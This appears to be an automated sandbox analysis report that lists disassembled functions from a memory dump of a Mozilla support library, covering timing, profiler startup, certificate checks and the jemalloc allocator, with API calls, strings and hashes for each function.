API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
[I %d/%d] profiler_init, xrefs: 6C4E564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
SHA256, xrefs: 6C4E6EC0
(, xrefs: 6C4E768A
wintrust.dll, xrefs: 6C4E72CD

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

<jemalloc>, xrefs: 6C509B33, 6C509BE3
Compile-time page size does not divide the runtime one., xrefs: 6C509B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
MOZ_CRASH(), xrefs: 6C509B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MALLOC_OPTIONS, xrefs: 6C5097CA

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

<jemalloc>, xrefs: 6C513941, 6C5139F1
Compile-time page size does not divide the runtime one., xrefs: 6C513946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
MOZ_CRASH(), xrefs: 6C513950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MALLOC_OPTIONS, xrefs: 6C5135FE

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
